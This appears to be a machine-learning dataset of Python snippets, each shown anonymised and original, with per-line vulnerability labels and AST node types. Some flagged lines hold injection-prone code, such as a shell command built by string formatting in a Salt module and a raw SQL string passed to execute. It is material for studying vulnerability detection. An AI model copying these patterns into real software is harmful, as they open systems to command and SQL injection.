[ "def __getitem__(self, VAR_12):...\n", "return self.content[VAR_12]\n" ]
[ "def __getitem__(self, key):...\n", "return self.content[key]\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "def FUNC_6(self, VAR_7):...\n", "VAR_8 = self.content\n", "while VAR_8:\n", "yield VAR_8[:VAR_7]\n", "VAR_8 = VAR_8[VAR_7:]\n" ]
[ "def iter_content(self, chunk_size):...\n", "c = self.content\n", "while c:\n", "yield c[:chunk_size]\n", "c = c[chunk_size:]\n" ]
[ 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Condition", "Expr'", "Assign'" ]
[ "def FUNC_0():...\n", "\"\"\"docstring\"\"\"\n", "VAR_0.debug('Fetching custom grains and pillar details')\n", "VAR_2 = {}\n", "salt.modules.config.__opts__ = __opts__\n", "VAR_3 = __salt__['config.get']('custom_grains_pillar:grains', [])\n", "for grain in VAR_3:\n", "for VAR_7 in grain:\n", "VAR_4 = __salt__['config.get']('custom_grains_pillar:pillar', [])\n", "if FUNC_1(grain[VAR_7]):\n", "for pillar in VAR_4:\n", "VAR_6 = __salt__['cmd.run']('salt-call grains.get {0}'.format(grain[VAR_7])\n ).split('\\n')[1].strip()\n", "for VAR_7 in pillar:\n", "VAR_0.debug('Done with fetching custom grains and pillar details')\n", "VAR_2[VAR_7] = VAR_6\n", "if FUNC_1(pillar[VAR_7]):\n", "return VAR_2\n", "VAR_6 = __salt__['cmd.run']('salt-call pillar.get {0}'.format(pillar[VAR_7])\n ).split('\\n')[1].strip()\n", "VAR_2[VAR_7] = VAR_6\n" ]
[ "def populate_custom_grains_and_pillar():...\n", "\"\"\"docstring\"\"\"\n", "log.debug('Fetching custom grains and pillar details')\n", "grains = {}\n", "salt.modules.config.__opts__ = __opts__\n", "custom_grains = __salt__['config.get']('custom_grains_pillar:grains', [])\n", "for grain in custom_grains:\n", "for key in grain:\n", "custom_pillar = __salt__['config.get']('custom_grains_pillar:pillar', [])\n", "if _valid_command(grain[key]):\n", "for pillar in custom_pillar:\n", "value = __salt__['cmd.run']('salt-call grains.get {0}'.format(grain[key])\n ).split('\\n')[1].strip()\n", "for key in pillar:\n", "log.debug('Done with fetching custom grains and pillar details')\n", "grains[key] = value\n", "if _valid_command(pillar[key]):\n", "return grains\n", "value = __salt__['cmd.run']('salt-call pillar.get {0}'.format(pillar[key])\n ).split('\\n')[1].strip()\n", "grains[key] = value\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 2, 0, 0, 0, 2, 0, 2, 0 ]
[ "FunctionDef'", "Docstring", "Expr'", "Assign'", "Assign'", "Assign'", "For", "For", "Assign'", "Condition", "For", "Assign'", "For", "Expr'", "Assign'", "Condition", "Return'", "Assign'", "Assign'" ]
[ "def FUNC_10(self, VAR_18, **VAR_4):...\n", "if self.closed:\n", "self._add_handler(VAR_18, **kwargs)\n" ]
[ "def add_handler(self, handler, **kwargs):...\n", "if self.closed:\n", "self._add_handler(handler, **kwargs)\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Condition", "Expr'" ]
[ "def __str__(self):...\n", "return Config.get('emph', self.flag)(super(CLASS_6, self).__str__())\n" ]
[ "def __str__(self):...\n", "return Config.get('emph', self.flag)(super(Emph, self).__str__())\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "def FUNC_6(VAR_9):...\n", "return VAR_5.search(VAR_9) is not None\n" ]
[ "def contains_wildcard(path):...\n", "return _wildcard_regex.search(path) is not None\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "@property...\n", "return {'Location': self.url}\n" ]
[ "@property...\n", "return {'Location': self.url}\n" ]
[ 0, 0 ]
[ "Condition", "Return'" ]
[ "def __init__(self, VAR_7, VAR_14=errors.USER_DOESNT_EXIST, *VAR_15, **VAR_16):...\n", "CLASS_3.__init__(self, VAR_7, VAR_14, *VAR_15, **kw)\n" ]
[ "def __init__(self, param, error=errors.USER_DOESNT_EXIST, *a, **kw):...\n", "VRequired.__init__(self, param, error, *a, **kw)\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "from __future__ import absolute_import, division, print_function, unicode_literals\n", "import logging\n", "import os\n", "from builtins import str\n", "from future.utils import text_type\n", "from pants.backend.jvm import argfile\n", "from pants.backend.jvm.subsystems.java import Java\n", "from pants.backend.jvm.subsystems.jvm_platform import JvmPlatform\n", "from pants.backend.jvm.targets.annotation_processor import AnnotationProcessor\n", "from pants.backend.jvm.targets.javac_plugin import JavacPlugin\n", "from pants.backend.jvm.targets.jvm_target import JvmTarget\n", "from pants.backend.jvm.tasks.jvm_compile.jvm_compile import JvmCompile\n", "from pants.base.exceptions import TaskError\n", "from pants.base.workunit import WorkUnit, WorkUnitLabel\n", "from pants.engine.fs import DirectoryToMaterialize\n", "from pants.engine.isolated_process import ExecuteProcessRequest\n", "from pants.java.distribution.distribution import DistributionLocator\n", "from pants.util.dirutil import safe_open\n", "from pants.util.process_handler import subprocess\n", "VAR_0 = 'META-INF/services/com.sun.source.util.Plugin'\n", "VAR_1 = 'META-INF/services/javax.annotation.processing.Processor'\n", "VAR_2 = logging.getLogger(__name__)\n", "\"\"\"Compile Java code using Javac.\"\"\"\n", "VAR_3 = 'java'\n", "@staticmethod...\n", "VAR_27 = os.path.join(VAR_4, VAR_0)\n", "f.write(VAR_5.classname)\n", "@classmethod...\n", "return '-encoding', 'UTF-8'\n" ]
[ "from __future__ import absolute_import, division, print_function, unicode_literals\n", "import logging\n", "import os\n", "from builtins import str\n", "from future.utils import text_type\n", "from pants.backend.jvm import argfile\n", "from pants.backend.jvm.subsystems.java import Java\n", "from pants.backend.jvm.subsystems.jvm_platform import JvmPlatform\n", "from pants.backend.jvm.targets.annotation_processor import AnnotationProcessor\n", "from pants.backend.jvm.targets.javac_plugin import JavacPlugin\n", "from pants.backend.jvm.targets.jvm_target import JvmTarget\n", "from pants.backend.jvm.tasks.jvm_compile.jvm_compile import JvmCompile\n", "from pants.base.exceptions import TaskError\n", "from pants.base.workunit import WorkUnit, WorkUnitLabel\n", "from pants.engine.fs import DirectoryToMaterialize\n", "from pants.engine.isolated_process import ExecuteProcessRequest\n", "from pants.java.distribution.distribution import DistributionLocator\n", "from pants.util.dirutil import safe_open\n", "from pants.util.process_handler import subprocess\n", "_JAVAC_PLUGIN_INFO_FILE = 'META-INF/services/com.sun.source.util.Plugin'\n", "_PROCESSOR_INFO_FILE = (\n 'META-INF/services/javax.annotation.processing.Processor')\n", "logger = logging.getLogger(__name__)\n", "\"\"\"Compile Java code using Javac.\"\"\"\n", "_name = 'java'\n", "@staticmethod...\n", "javac_plugin_info_file = os.path.join(resources_dir, _JAVAC_PLUGIN_INFO_FILE)\n", "f.write(javac_plugin_target.classname)\n", "@classmethod...\n", "return '-encoding', 'UTF-8'\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "ImportFrom'", "Import'", "Import'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "Assign'", "Assign'", "Assign'", "Expr'", "Assign'", "Condition", "Assign'", "Expr'", "Condition", "Return'" ]
[ "def FUNC_3(VAR_0=None, VAR_1=None):...\n", "\"\"\"docstring\"\"\"\n", "if VAR_0 is None:\n", "VAR_0 = active_view()\n", "if not get_settings(VAR_0, 'anaconda_go_linting', True):\n", "return\n", "if VAR_0.file_name() in anaconda_sublime.ANACONDA['DISABLED']:\n", "anaconda_sublime.erase_lint_marks(VAR_0)\n", "VAR_2 = FUNC_4(VAR_0)\n", "return\n", "VAR_3 = {'vid': VAR_0.id(), 'code': VAR_0.substr(st3_sublime.Region(0,\n VAR_0.size())), 'settings': VAR_2, 'filepath': VAR_0.file_name(),\n 'method': 'all_lint', 'handler': 'anaGonda', 'go_env': {'GOROOT': go.\n GOROOT, 'GOPATH': go.GOPATH, 'CGO_ENABLED': go.CGO_ENABLED}}\n", "VAR_4 = partial(anaconda_sublime.parse_results, **dict(code='go'))\n", "if VAR_1 is None:\n", "Worker().execute(Callback(on_success=callback), **data)\n", "Worker().execute(Callback(partial(VAR_1, VAR_4)), **data)\n" ]
[ "def all_linters(view=None, hook=None):...\n", "\"\"\"docstring\"\"\"\n", "if view is None:\n", "view = active_view()\n", "if not get_settings(view, 'anaconda_go_linting', True):\n", "return\n", "if view.file_name() in anaconda_sublime.ANACONDA['DISABLED']:\n", "anaconda_sublime.erase_lint_marks(view)\n", "settings = _get_settings(view)\n", "return\n", "data = {'vid': view.id(), 'code': view.substr(st3_sublime.Region(0, view.\n size())), 'settings': settings, 'filepath': view.file_name(), 'method':\n 'all_lint', 'handler': 'anaGonda', 'go_env': {'GOROOT': go.GOROOT,\n 'GOPATH': go.GOPATH, 'CGO_ENABLED': go.CGO_ENABLED}}\n", "callback = partial(anaconda_sublime.parse_results, **dict(code='go'))\n", "if hook is None:\n", "Worker().execute(Callback(on_success=callback), **data)\n", "Worker().execute(Callback(partial(hook, callback)), **data)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Condition", "Assign'", "Condition", "Return'", "Condition", "Expr'", "Assign'", "Return'", "Assign'", "Assign'", "Condition", "Expr'", "Expr'" ]
[ "def FUNC_2(self):...\n", "self.assertTrue({'name': 'DocType', 'issingle': 0} in DatabaseQuery(\n 'DocType').execute(fields=['name', 'issingle'], limit_page_length=None))\n" ]
[ "def test_fields(self):...\n", "self.assertTrue({'name': 'DocType', 'issingle': 0} in DatabaseQuery(\n 'DocType').execute(fields=['name', 'issingle'], limit_page_length=None))\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "def FUNC_1(self, VAR_4):...\n", "VAR_4 = u\"'{0}'\".format(VAR_4)\n", "return VAR_4\n" ]
[ "def insert_format(self, value):...\n", "value = u\"'{0}'\".format(value)\n", "return value\n" ]
[ 0, 4, 0 ]
[ "FunctionDef'", "Assign'", "Return'" ]
[ "def FUNC_5(VAR_2):...\n", "return render(VAR_2, 'etd_app/copyright.html')\n" ]
[ "def copyright(request):...\n", "return render(request, 'etd_app/copyright.html')\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "def FUNC_0(VAR_0, VAR_1=None, VAR_2=False):...\n", "VAR_3 = None\n", "if conf.eString and conf.eString in VAR_0:\n", "VAR_4 = VAR_0.index(conf.eString)\n", "if conf.eRegexp:\n", "VAR_5 = len(conf.eString)\n", "VAR_3 = re.findall(conf.eRegexp, VAR_0, re.I | re.M)\n", "if conf.string:\n", "VAR_6 = VAR_0[:VAR_4]\n", "if VAR_3:\n", "if conf.string in VAR_0:\n", "if conf.regexp:\n", "VAR_6 += VAR_0[VAR_4 + VAR_5:]\n", "for regExpResult in VAR_3:\n", "return True\n", "return False\n", "if re.search(conf.regexp, VAR_0, re.I | re.M):\n", "conf.seqMatcher.set_seq2(VAR_0)\n", "VAR_0 = VAR_6\n", "VAR_4 = VAR_0.index(regExpResult)\n", "return True\n", "return False\n", "if VAR_2:\n", "VAR_5 = len(regExpResult)\n", "return round(conf.seqMatcher.ratio(), 5)\n", "if round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n", "VAR_7 = VAR_0[:VAR_4]\n", "return True\n", "return False\n", "VAR_7 += VAR_0[VAR_4 + VAR_5:]\n", "VAR_0 = VAR_7\n" ]
[ "def comparison(page, headers=None, getSeqMatcher=False):...\n", "regExpResults = None\n", "if conf.eString and conf.eString in page:\n", "index = page.index(conf.eString)\n", "if conf.eRegexp:\n", "length = len(conf.eString)\n", "regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)\n", "if conf.string:\n", "pageWithoutString = page[:index]\n", "if regExpResults:\n", "if conf.string in page:\n", "if conf.regexp:\n", "pageWithoutString += page[index + length:]\n", "for regExpResult in regExpResults:\n", "return True\n", "return False\n", "if re.search(conf.regexp, page, re.I | re.M):\n", "conf.seqMatcher.set_seq2(page)\n", "page = pageWithoutString\n", "index = page.index(regExpResult)\n", "return True\n", "return False\n", "if getSeqMatcher:\n", "length = len(regExpResult)\n", "return round(conf.seqMatcher.ratio(), 5)\n", "if round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n", "pageWithoutRegExp = page[:index]\n", "return True\n", "return False\n", "pageWithoutRegExp += page[index + length:]\n", "page = pageWithoutRegExp\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Assign'", "Condition", "Assign'", "Condition", "Condition", "Condition", "AugAssign'", "For", "Return'", "Return'", "Condition", "Expr'", "Assign'", "Assign'", "Return'", "Return'", "Condition", "Assign'", "Return'", "Condition", "Assign'", "Return'", "Return'", "AugAssign'", "Assign'" ]
[ "from __future__ import absolute_import\n", "from __future__ import print_function\n", "from __future__ import unicode_literals\n", "import argparse\n", "import ast\n", "import io\n", "import os\n", "import sys\n", "import threading\n", "import random\n", "import time\n", "from cms import config, ServiceCoord, get_service_address\n", "from cms.db import Contest, SessionGen\n", "import cmstestsuite.web\n", "from cmstestsuite.web import Browser\n", "from cmstestsuite.web.CWSRequests import HomepageRequest, LoginRequest, TaskRequest, TaskStatementRequest, SubmitRandomRequest\n", "cmstestsuite.web.debug = True\n", "def __init__(self, VAR_2=None):...\n", "self.total = 0\n", "self.success = 0\n", "self.failure = 0\n", "self.error = 0\n", "self.undecided = 0\n", "self.total_time = 0.0\n", "self.max_time = 0.0\n", "self.log_dir = VAR_2\n", "if self.log_dir is not None:\n", "def FUNC_2(self):...\n", "os.makedirs(self.log_dir)\n", "print('TOTAL: %5d' % self.total, file=sys.stderr)\n", "print('SUCCESS: %5d' % self.success, file=sys.stderr)\n", "print('FAIL: %5d' % self.failure, file=sys.stderr)\n", "print('ERROR: %5d' % self.error, file=sys.stderr)\n", "print('UNDECIDED: %5d' % self.undecided, file=sys.stderr)\n", "print('Total time: %7.3f' % self.total_time, file=sys.stderr)\n", "print('Average time: %7.3f' % (self.total_time / self.total), file=sys.stderr)\n", "print('Max time: %7.3f' % self.max_time, file=sys.stderr)\n", "def FUNC_3(self, VAR_3):...\n", "self.total += VAR_3.total\n", "self.success += VAR_3.success\n", "self.failure += VAR_3.failure\n", "self.error += VAR_3.error\n", "self.undecided += VAR_3.undecided\n", "self.total_time += VAR_3.total_time\n", "self.max_time = max(self.max_time, VAR_3.max_time)\n", "def FUNC_4(self, VAR_4):...\n", "if self.log_dir is None:\n", "return\n", "VAR_19 = '%s_%s.log' % (VAR_4.start_time, VAR_4.__class__.__name__)\n", "VAR_20 = os.path.join(self.log_dir, VAR_19)\n", "VAR_21 = os.path.join(self.log_dir, VAR_4.__class__.__name__)\n", "VAR_4.store_to_file(fd)\n", "os.remove(VAR_21)\n", "os.symlink(VAR_19, VAR_21)\n", "\"\"\"Exception to be raised when an Actor is going to die soon. See\n Actor class.\n\n \"\"\"\n", "\"\"\"string\"\"\"\n", "def __init__(self, VAR_5, VAR_6, VAR_7, VAR_8, VAR_9=None, VAR_10=None,...\n", "threading.Thread.__init__(self)\n", "self.username = VAR_5\n", "self.password = VAR_6\n", "self.metrics = VAR_7\n", "self.tasks = VAR_8\n", "self.log = VAR_9\n", "self.base_url = VAR_10\n", "self.submissions_path = VAR_11\n", "self.name = 'Actor thread for user %s' % self.username\n", "self.browser = Browser()\n", "self.die = False\n", "def FUNC_5(self):...\n", "print('Starting actor for user %s' % self.username, file=sys.stderr)\n", "print('Actor dying for user %s' % self.username, file=sys.stderr)\n", "def FUNC_6(self):...\n", "self.act()\n", "\"\"\"docstring\"\"\"\n", "def FUNC_7(self, VAR_4):...\n", "self.wait_next()\n", "self.log.total += 1\n", "VAR_4.execute()\n", "print('Unhandled exception while executing the request: %s' % exc, file=sys\n .stderr)\n", "self.log.__dict__[VAR_4.outcome] += 1\n", "return\n", "self.log.total_time += VAR_4.duration\n", "self.log.max_time = max(self.log.max_time, VAR_4.duration)\n", "self.log.store_to_file(VAR_4)\n", "def FUNC_8(self):...\n", "\"\"\"docstring\"\"\"\n", "VAR_22 = 0.1\n", "VAR_23 = self.metrics['time_coeff'] * random.expovariate(self.metrics[\n 'time_lambda'])\n", "VAR_24 = int(VAR_23 / VAR_22)\n", "VAR_25 = VAR_23 - VAR_24 * VAR_22\n", "for i in xrange(VAR_24):\n", "time.sleep(VAR_22)\n", "time.sleep(VAR_25)\n", "if self.die:\n", "if self.die:\n", "def FUNC_9(self):...\n", "\"\"\"docstring\"\"\"\n", "self.do_step(HomepageRequest(self.browser, self.username, loggedin=False,\n VAR_10=self.base_url))\n", "self.do_step(LoginRequest(self.browser, self.username, self.password,\n VAR_10=self.base_url))\n", "self.do_step(HomepageRequest(self.browser, self.username, loggedin=True,\n VAR_10=self.base_url))\n", "def FUNC_6(self):...\n", "self.login()\n", "while True:\n", "VAR_29 = random.random()\n", "VAR_30 = random.choice(self.tasks)\n", "if VAR_29 < 0.1 and self.submissions_path is not None:\n", "self.do_step(SubmitRandomRequest(self.browser, VAR_30, VAR_10=self.base_url,\n VAR_11=self.submissions_path))\n", "if VAR_29 < 0.6 and VAR_30[2] != []:\n", "self.do_step(TaskStatementRequest(self.browser, VAR_30[1], random.choice(\n VAR_30[2]), VAR_10=self.base_url))\n", "self.do_step(TaskRequest(self.browser, VAR_30[1], VAR_10=self.base_url))\n" ]
[ "from __future__ import absolute_import\n", "from __future__ import print_function\n", "from __future__ import unicode_literals\n", "import argparse\n", "import ast\n", "import io\n", "import os\n", "import sys\n", "import threading\n", "import random\n", "import time\n", "from cms import config, ServiceCoord, get_service_address\n", "from cms.db import Contest, SessionGen\n", "import cmstestsuite.web\n", "from cmstestsuite.web import Browser\n", "from cmstestsuite.web.CWSRequests import HomepageRequest, LoginRequest, TaskRequest, TaskStatementRequest, SubmitRandomRequest\n", "cmstestsuite.web.debug = True\n", "def __init__(self, log_dir=None):...\n", "self.total = 0\n", "self.success = 0\n", "self.failure = 0\n", "self.error = 0\n", "self.undecided = 0\n", "self.total_time = 0.0\n", "self.max_time = 0.0\n", "self.log_dir = log_dir\n", "if self.log_dir is not None:\n", "def print_stats(self):...\n", "os.makedirs(self.log_dir)\n", "print('TOTAL: %5d' % self.total, file=sys.stderr)\n", "print('SUCCESS: %5d' % self.success, file=sys.stderr)\n", "print('FAIL: %5d' % self.failure, file=sys.stderr)\n", "print('ERROR: %5d' % self.error, file=sys.stderr)\n", "print('UNDECIDED: %5d' % self.undecided, file=sys.stderr)\n", "print('Total time: %7.3f' % self.total_time, file=sys.stderr)\n", "print('Average time: %7.3f' % (self.total_time / self.total), file=sys.stderr)\n", "print('Max time: %7.3f' % self.max_time, file=sys.stderr)\n", "def merge(self, log2):...\n", "self.total += log2.total\n", "self.success += log2.success\n", "self.failure += log2.failure\n", "self.error += log2.error\n", "self.undecided += log2.undecided\n", "self.total_time += log2.total_time\n", "self.max_time = max(self.max_time, log2.max_time)\n", "def store_to_file(self, request):...\n", "if self.log_dir is None:\n", "return\n", "filename = '%s_%s.log' % (request.start_time, request.__class__.__name__)\n", "filepath = os.path.join(self.log_dir, filename)\n", "linkpath = os.path.join(self.log_dir, request.__class__.__name__)\n", "request.store_to_file(fd)\n", "os.remove(linkpath)\n", "os.symlink(filename, linkpath)\n", "\"\"\"Exception to be raised when an Actor is going to die soon. See\n Actor class.\n\n \"\"\"\n", "\"\"\"Class that simulates the behaviour of a user of the system. It\n performs some requests at randomized times (checking CMS pages,\n doing submissions, ...), checking for their success or failure.\n\n The probability that the users doing actions depends on the value\n specified in an object called \"metrics\".\n\n \"\"\"\n", "def __init__(self, username, password, metrics, tasks, log=None, base_url=...\n", "threading.Thread.__init__(self)\n", "self.username = username\n", "self.password = password\n", "self.metrics = metrics\n", "self.tasks = tasks\n", "self.log = log\n", "self.base_url = base_url\n", "self.submissions_path = submissions_path\n", "self.name = 'Actor thread for user %s' % self.username\n", "self.browser = Browser()\n", "self.die = False\n", "def run(self):...\n", "print('Starting actor for user %s' % self.username, file=sys.stderr)\n", "print('Actor dying for user %s' % self.username, file=sys.stderr)\n", "def act(self):...\n", "self.act()\n", "\"\"\"docstring\"\"\"\n", "def do_step(self, request):...\n", "self.wait_next()\n", "self.log.total += 1\n", "request.execute()\n", "print('Unhandled exception while executing the request: %s' % exc, file=sys\n .stderr)\n", "self.log.__dict__[request.outcome] += 1\n", "return\n", "self.log.total_time += request.duration\n", "self.log.max_time = max(self.log.max_time, request.duration)\n", "self.log.store_to_file(request)\n", "def wait_next(self):...\n", "\"\"\"docstring\"\"\"\n", "SLEEP_PERIOD = 0.1\n", "time_to_wait = self.metrics['time_coeff'] * random.expovariate(self.metrics\n ['time_lambda'])\n", "sleep_num = int(time_to_wait / SLEEP_PERIOD)\n", "remaining_sleep = time_to_wait - sleep_num * SLEEP_PERIOD\n", "for i in xrange(sleep_num):\n", "time.sleep(SLEEP_PERIOD)\n", "time.sleep(remaining_sleep)\n", "if self.die:\n", "if self.die:\n", "def login(self):...\n", "\"\"\"docstring\"\"\"\n", "self.do_step(HomepageRequest(self.browser, self.username, loggedin=False,\n base_url=self.base_url))\n", "self.do_step(LoginRequest(self.browser, self.username, self.password,\n base_url=self.base_url))\n", "self.do_step(HomepageRequest(self.browser, self.username, loggedin=True,\n base_url=self.base_url))\n", "def act(self):...\n", "self.login()\n", "while True:\n", "choice = random.random()\n", "task = random.choice(self.tasks)\n", "if choice < 0.1 and self.submissions_path is not None:\n", "self.do_step(SubmitRandomRequest(self.browser, task, base_url=self.base_url,\n submissions_path=self.submissions_path))\n", "if choice < 0.6 and task[2] != []:\n", "self.do_step(TaskStatementRequest(self.browser, task[1], random.choice(task\n [2]), base_url=self.base_url))\n", "self.do_step(TaskRequest(self.browser, task[1], base_url=self.base_url))\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "ImportFrom'", "ImportFrom'", "ImportFrom'", "Import'", "Import'", "Import'", "Import'", "Import'", "Import'", "Import'", "Import'", "ImportFrom'", "ImportFrom'", "Import'", "ImportFrom'", "ImportFrom'", "Assign'", "FunctionDef'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Condition", "FunctionDef'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "FunctionDef'", "AugAssign'", "AugAssign'", "AugAssign'", "AugAssign'", "AugAssign'", "AugAssign'", "Assign'", "FunctionDef'", "Condition", "Return'", "Assign'", "Assign'", "Assign'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Condition", "Expr'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "FunctionDef'", "Expr'", "Expr'", "FunctionDef'", "Expr'", "Docstring", "FunctionDef'", "Expr'", "AugAssign'", "Expr'", "Expr'", "AugAssign'", "Return'", "AugAssign'", "Assign'", "Expr'", "FunctionDef'", "Docstring", "Assign'", "Assign'", "Assign'", "Assign'", "For", "Expr'", "Expr'", "Condition", "Condition", "FunctionDef'", "Docstring", "Expr'", "Expr'", "Expr'", "FunctionDef'", "Expr'", "Condition", "Assign'", "Assign'", "Condition", "Expr'", "Condition", "Expr'", "Expr'" ]
[ "@VAR_2.route('/')...\n", "return FUNC_19('index.html')\n" ]
[ "@app.route('/')...\n", "return template('index.html')\n" ]
[ 0, 0 ]
[ "Condition", "Return'" ]
[ "@VAR_1.route('/demo2', methods=['GET', 'POST'])...\n", "VAR_9 = FUNC_14(1)\n", "VAR_10 = [[VAR_3[0], VAR_3[1], VAR_3[2]] for VAR_3 in VAR_9]\n", "return render_template('demo2.html', VAR_8=query1, rows=results)\n" ]
[ "@app.route('/demo2', methods=['GET', 'POST'])...\n", "z = demo(1)\n", "results = [[x[0], x[1], x[2]] for x in z]\n", "return render_template('demo2.html', query=query1, rows=results)\n" ]
[ 0, 0, 0, 0 ]
[ "Condition", "Assign'", "Assign'", "Return'" ]
[ "def FUNC_1(VAR_2, VAR_3):...\n", "\"\"\"docstring\"\"\"\n", "VAR_29 = {}\n", "for idx, VAR_71 in enumerate(VAR_2.description):\n", "VAR_29[VAR_71[0]] = VAR_3[idx]\n", "return VAR_29\n" ]
[ "def dict_factory(cursor, row):...\n", "\"\"\"docstring\"\"\"\n", "d = {}\n", "for idx, col in enumerate(cursor.description):\n", "d[col[0]] = row[idx]\n", "return d\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "For", "Assign'", "Return'" ]
[ "def FUNC_38(self):...\n", "self.compilation_ko(\"\"\"\nrequire [\"fileinto\"]\n\"\"\")\n" ]
[ "def test_missing_semicolon(self):...\n", "self.compilation_ko(\"\"\"\nrequire [\"fileinto\"]\n\"\"\")\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "def FUNC_14(self, VAR_18):...\n", "\"\"\"docstring\"\"\"\n", "VAR_25 = self._eql_execute('volume', 'select', VAR_18['volume_name'],\n 'snapshot', 'create-now')\n", "VAR_0.error(_('Failed to create snapshot of volume %s'), VAR_18['volume_name'])\n", "VAR_9 = 'Snapshot name is '\n", "VAR_45 = self._get_prefixed_value(VAR_25, VAR_9)\n", "self._eql_execute('volume', 'select', VAR_18['volume_name'], 'snapshot',\n 'rename', VAR_45, VAR_18['name'])\n" ]
[ "def create_snapshot(self, snapshot):...\n", "\"\"\"docstring\"\"\"\n", "out = self._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'create-now')\n", "LOG.error(_('Failed to create snapshot of volume %s'), snapshot['volume_name'])\n", "prefix = 'Snapshot name is '\n", "snap_name = self._get_prefixed_value(out, prefix)\n", "self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot',\n 'rename', snap_name, snapshot['name'])\n" ]
[ 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Expr'", "Assign'", "Assign'", "Expr'" ]
[ "def FUNC_7(VAR_2, VAR_5='/tmp/source.html'):...\n", "out.write(VAR_2.browser.page_source.encode('utf8'))\n" ]
[ "def save_source(context, filename='/tmp/source.html'):...\n", "out.write(context.browser.page_source.encode('utf8'))\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "def FUNC_4(VAR_1, VAR_5, VAR_6='', VAR_3='', VAR_4=None):...\n", "\"\"\"docstring\"\"\"\n", "VAR_16[VAR_17(VAR_1.name)] = VAR_5, VAR_6\n", "if current_user.is_authenticated():\n", "VAR_23 = current_user.get_id()\n", "return None\n", "VAR_24 = VAR_1.consumer_key\n", "VAR_25 = RemoteToken.get(VAR_23, VAR_24, VAR_3=token_type)\n", "if VAR_25:\n", "VAR_25.update_token(VAR_5, VAR_6)\n", "VAR_25 = RemoteToken.create(VAR_23, VAR_24, VAR_5, VAR_6, VAR_3=token_type,\n VAR_4=extra_data)\n", "return VAR_25\n" ]
[ "def token_setter(remote, token, secret='', token_type='', extra_data=None):...\n", "\"\"\"docstring\"\"\"\n", "session[token_session_key(remote.name)] = token, secret\n", "if current_user.is_authenticated():\n", "uid = current_user.get_id()\n", "return None\n", "cid = remote.consumer_key\n", "t = RemoteToken.get(uid, cid, token_type=token_type)\n", "if t:\n", "t.update_token(token, secret)\n", "t = RemoteToken.create(uid, cid, token, secret, token_type=token_type,\n extra_data=extra_data)\n", "return t\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Condition", "Assign'", "Return'", "Assign'", "Assign'", "Condition", "Expr'", "Assign'", "Return'" ]
[ "@VAR_0.route('/visualize')...\n", "return render_template('visualization.html')\n" ]
[ "@app.route('/visualize')...\n", "return render_template('visualization.html')\n" ]
[ 0, 0 ]
[ "Condition", "Return'" ]
[ "def FUNC_17(VAR_6):...\n", "return FUNC_7(VAR_6, 'X-XSS-Protection', '1; mode=block')\n" ]
[ "def validate_xss_protection(page):...\n", "return validate_security_header(page, 'X-XSS-Protection', '1; mode=block')\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "def FUNC_1(VAR_3):...\n", "\"\"\"docstring\"\"\"\n", "VAR_4 = text(str(VAR_3))\n", "VAR_2.execute(VAR_4)\n", "VAR_2.commit()\n" ]
[ "def insert_into_mysql_command(command_str):...\n", "\"\"\"docstring\"\"\"\n", "sql = text(str(command_str))\n", "s.execute(sql)\n", "s.commit()\n" ]
[ 0, 0, 0, 2, 2 ]
[ "FunctionDef'", "Docstring", "Assign'", "Expr'", "Expr'" ]
